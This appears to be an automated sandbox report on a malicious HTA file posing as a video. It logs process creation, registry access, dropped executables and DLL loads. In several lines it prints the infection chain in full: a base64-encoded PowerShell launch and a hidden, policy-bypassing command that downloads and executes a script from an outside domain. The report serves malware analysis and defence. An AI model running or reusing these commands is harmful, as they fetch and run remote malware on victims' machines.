Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00609420	7_2_00609420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00631420	7_2_00631420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00635410	7_2_00635410
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00624CE6	7_2_00624CE6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061DCF0	7_2_0061DCF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006274D7	7_2_006274D7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006334B3	7_2_006334B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063C480	7_2_0063C480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00630525	7_2_00630525
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0061D500	7_2_0061D500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063DDE0	7_2_0063DDE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00632DD3	7_2_00632DD3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063E5D0	7_2_0063E5D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00644DD0	7_2_00644DD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00615D9F	7_2_00615D9F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00607660	7_2_00607660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060AE50	7_2_0060AE50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00604E20	7_2_00604E20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00611E38	7_2_00611E38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0063C6E0	7_2_0063C6E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006176FA	7_2_006176FA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00643EC0	7_2_00643EC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00612721	7_2_00612721
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00602F20	7_2_00602F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0060A733	7_2_0060A733
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00614F00	7_2_00614F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062FF09	7_2_0062FF09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0062FF1F	7_2_0062FF1F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00628FF0	7_2_00628FF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_006207BA	7_2_006207BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00618F98	7_2_00618F98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00629F9D	7_2_00629F9D
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Code function: 11_2_030F1EE0	11_2_030F1EE0
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Code function: 11_2_030F16B0	11_2_030F16B0
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Code function: 11_2_030F1140	11_2_030F1140

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe C46D6103201008B96B237E10F2C6CA6874E6C0BEB507FE21F497578127AE8857
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll 31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 006081F0 appears 46 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00614EF0 appears 113 times

Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.10.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.8.dr	Static PE information: Number of sections : 11 > 10
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: FQCBPDRKWCIGP0ODQG879LFLUZ.exe.7.dr	Static PE information: Number of sections : 11 > 10

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 2804, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@17/14@3/3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_0063CFF0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

7_2_0063CFF0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2748:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pauv3kic.3yo.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp "C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$80224,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp "C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$D005A,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp "C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$80224,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp "C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$D005A,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
